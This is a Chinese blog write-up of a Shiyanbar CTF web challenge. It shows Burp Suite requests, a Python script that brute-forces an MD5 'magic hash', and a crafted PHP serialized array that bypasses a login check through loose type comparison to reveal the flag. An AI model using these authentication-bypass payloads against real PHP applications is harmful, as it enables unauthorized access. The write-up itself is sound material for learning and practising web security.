实验吧-天网管理系统 Writeup

原创

baynk 于 2019-08-18 20:09:08 发布 175 收藏 1

分类专栏： # 实验吧 Writeup 文章标签： 实验吧 CTF 天网管理系统 Writeup

本文链接：https://blog.csdn.net/u014029795/article/details/99707622

这个题真是折腾了我一个夜晚，感觉网上的东西太多“人云亦云”，服了。

思路

- 链接：http://ctf5.shiyanbar.com/10/web1/index.php
- 进入后默认就有用户名和密码，登陆后没变化 ，就直接扔到burpsuite中去了。

```
ontent-Type: multipart/form-data; boundary=---------------------------18200346016807
ontent-Length: 253

-----------------------------18200346016807
ontent-Disposition: form-data; name="username"

dmin
-----------------------------18200346016807
ontent-Disposition: form-data; name="password"

dmin
-----------------------------18200346016807--
```

```
<title>最安全的管理系统</title>
</head>
<body>
<h1>天网管理系统</h1>
<p>安全与你同在</p>
<p>账户:admin  密码:admin</p>
<p>就是这么光明正大的放置用户名和密码,爸爸说我们再也不会忘记密码啦。</p>
<form enctype="multipart/form-data" method="post" action="index.php">
<table>
<th>
<td>大家请放心使用我们的产品。</td>
</th>
<tr>
<td>用户名:</td><td><input type="text" name="username" value="admin"></td>
</tr>
<tr>
<td>密码:</td><td><input type="text" name="password" value="admin"></td>
</tr>
<tr>
<td><input type="submit" value="登入系统"</td>
</tr>
</table>
</form>
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>
```

- 在源代码中看到了注释，要求将username做md5后和0做比较相等。很明显，正常情况下这是不可能的，我第一反应就想起来了前几天做mysql中的弱类型比较，用字符串和数字比较，是先讲字符串转化和数字再比较的。于是就去找了一个以0开头的md5值。

- 于是在burpsuite中进行提交，但是结果和预想的不一样，并没有什么变化。

```
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------------------------18200346016807
Content-Length: 249

----------------------------18200346016807
Content-Disposition: form-data; name="username"

a
----------------------------18200346016807
Content-Disposition: form-data; name="password"

admin
----------------------------18200346016807--
```

```
<meta charset=utf8>
<title>最安全的管理系统</title>
</head>
<body>
<h1>天网管理系统</h1>
<p>安全与你同在</p>
<p>账户:admin  密码:admin</p>
<p>就是这么光明正大的放置用户名和密码,爸爸说我们再也不会忘记密码啦。</p>
<form enctype="multipart/form-data" method="post" action="index.php">
<table>
<th>
<td>大家请放心使用我们的产品。</td>
</th>
<tr>
<td>用户名:</td><td><input type="text" name="username" value="admin"></td>
</tr>
<tr>
<td>密码:</td><td><input type="text" name="password" value="admin"></td>
</tr>
<tr>
<td><input type="submit" value="登入系统"</td>
</tr>
</table>
</form>
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>
```

- 同时也多试了下其它的字符串，均不可以，在网上的其它writeup中看了下，基本都是这个说法，弱类型比较。但是他们提供的字符串就可以成功的。

```
s878926199a
----------------------------18200346016807
Content-Disposition: form-data; name="password"

admin
----------------------------18200346016807--
```

```
<p>就是这么光明正大的放置用户名和密码,爸爸说我们再也不会忘记密码啦。</p>
<form enctype="multipart/form-data" method="post" action="index.php">
<table>
<th>
<td>大家请放心使用我们的产品。</td>
</th>
<tr>
<td>用户名:</td><td><input type="text" name="username" value="admin"></td>
</tr>
<tr>
<td>密码:</td><td><input type="text" name="password" value="admin"></td>
</tr>
<tr>
<td><input type="submit" value="登入系统"</td>
</tr>
</table>
</form>
/user.php?fame=hjkleffifer<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>
```

- 后来发现根本就是他们搞错了，这里不是常规的弱类型比较，因为后面是和'0'比较，不是0，也就是字符串比较字符串，不是字符串比较数字，所以常规的不太行，又看到有的writeup说要以0e开头才会这样比较成功，试了下仍然是失败的。`a1b2edaced`的md5是`0E45EA817F33691A3DD1F46AF81166C4`，同样也是不行的。

```
a1b2edaced
----------------------------18200346016807
Content-Disposition: form-data; name="password"

admin
----------------------------18200346016807--
```

```
<form enctype="multipart/form-data" method="post" action="index.php">
<table>
<th>
<td>大家请放心使用我们的产品。</td>
</th>
<tr>
<td>用户名:</td><td><input type="text" name="username" value="admi
</tr>
<tr>
<td>密码:</td><td><input type="text" name="password" value="admin":
</tr>
<tr>
<td><input type="submit" value="登入系统"</td>
</tr>
</table>
</form>
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>
```

- 实在想不通为什么自己构造的哪里有不一样，所以就去百度找了下资料，没发现什么具体说明，但是大量的样本让我发现了一个规律，这些md5值都是以0e开头的，后30位全是数字！！！

```
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e459932745177090343288558410 20

s155964671a
0e427684168224515249741172544 69

s214587387a
0e482404488305379244658656119 04

s214587387a
0e482404488305379244658656119 04

s878926199a
0e459932745177090343288558410 20

s1091221200a
0e406242178565615578163273846 75
```

- 所以我得找一个开头为0e，后面30位全为数字的md5哈希值。。。
- 手动试了半天，感觉几乎不可能，于是去写了个脚本来跑，十分钟后，还没跑出来，于是改了下，就挂机睡觉了。。。。

```
import hashlib
import time
txt = 's'
n = 0
t1 = time.time()
while 1:
    md5 = hashlib.md5('{}'.format(txt).encode('utf-8'))
    print(md5.hexdigest())
        if md5.hexdigest()[0:2] == '0e' and md5.hexdigest()[2:].isdigit()==True:
        print('OK!','最后的字符串是{}'.format(txt))
        t2 = time.time()
        break
    n = n + 1
    txt = 's'+str(n)+'e'
t3 = t2 - t1
print("一共试了{}次".format(n+1))
print("一共花了{}秒".format(t3))
```

- 第二天早上起来看了下，算是跑出来了，字符串为s224534898e，但是一看次数，2亿多次。。。

```
0e420233178946742799316739797882
OK! 最后的字符串是s224534898e
一共试了224534899次
一共花了2167.285260915756秒
```

- 继续，用自己算出来的字符串扔进去，这次终于OK了。。。不容易不容易

```
s224534898e
```

```
<p>就是这么光明正大的放置用户名和密码,爸爸说我们再也不会忘记密码啦。</p>
<form enctype="multipart/form-data" method="post" action="index.php">
```

```
-----------------------------18200346016807
Content-Disposition: form-data; name="password"

admin
-----------------------------18200346016807--
```

```
<table>
<th>
<td>大家请放心使用我们的产品。</td>
</th>
<tr>
<td>用户名:</td><td><input type="text" name="username" value="admin"></td>
</tr>
<tr>
<td>密码:</td><td><input type="text" name="password" value="admin"></td>
</tr>
<tr>
<td><input type="submit" value="登入系统"</td>
</tr>
</table>
</form>
/user.php?fame=hjkleffifer<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>
```

- 然后去访问提示的网页。

```
POST /10/web1/user.php?fame=hjkleffifer HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh
Accept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.com/10/web1/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=-----------------------------18200346016807
Content-Length: 259

-----------------------------18200346016807
Content-Disposition: form-data; name="username"

s224534898e
-----------------------------18200346016807
```

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 18 Aug 2019 19:05:21 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.5.38
Content-Length: 275

$unserialize_str = $_POST['password'];
    $data_unserialize = unserialize($unserialize_str);
    if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
    {
      print_r($flag);
    }
伟大的科学家php方言道：成也布尔，败也布尔。
回去吧骚年
```

- 这里涉及到了序列化和反序列化，具体的可以看最后总结中的博客链接，这里就不多说了。要求就是一个数组里面的user和pass都等于???就行了。这里???应该是一个字符串吧，又是弱类型比较，那么这里和数字0比较，字符串转换失败都会为报错(我想我应该不会这倒霉，这字符串是以数字看开头且不是0的吧~~)，写了个php将数组转成了序列化

```
Array ( [user] => 0 [pass] => 0 )
a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
```

- 将序列化的结果填到密码中去，啊哈哈，搞定~

```
s224534898e
-----------------------------18200346016807
Content-Disposition: form-data; name="password"

a:2:{s:4:"user";i:0;s:4:"pass";i:0;}
-----------------------------18200346016807--
```

```
<form enctype="multipart/form-data" method="post" action=
<table>
<th>
<td>澶y□惰□锋□惧□浣跨□儿□□浠□□□浜y□□□□</td>
</th>
<tr>
<td>□儿□峰□□:</td><td><input type="text" name="userna
</tr>
<tr>
<td>濮□□□:</td><td><input type="text" name="password"
</tr>
<tr>
<td><input type="submit" value="□诲□ョ郴缁□"</td>
</tr>
</table>
</form>
/user.php?fame=hjkleffifer ctf{dwduwkhduw5465}<!-- $te
</body>
</html>
```

总结

- 弱类型比较，链接：https://baynk.blog.csdn.net/article/details/99709333

- php序列化和反序列化，链接：https://baynk.blog.csdn.net/article/details/99712035
- 最后，看其他人的writeup的时候，其实最后的反序列化有更好的选择，利用任何字符串都和bool值的True相等的特性来完成需求会更靠谱，因为这样不用期待字符串开头是数字且不是0了~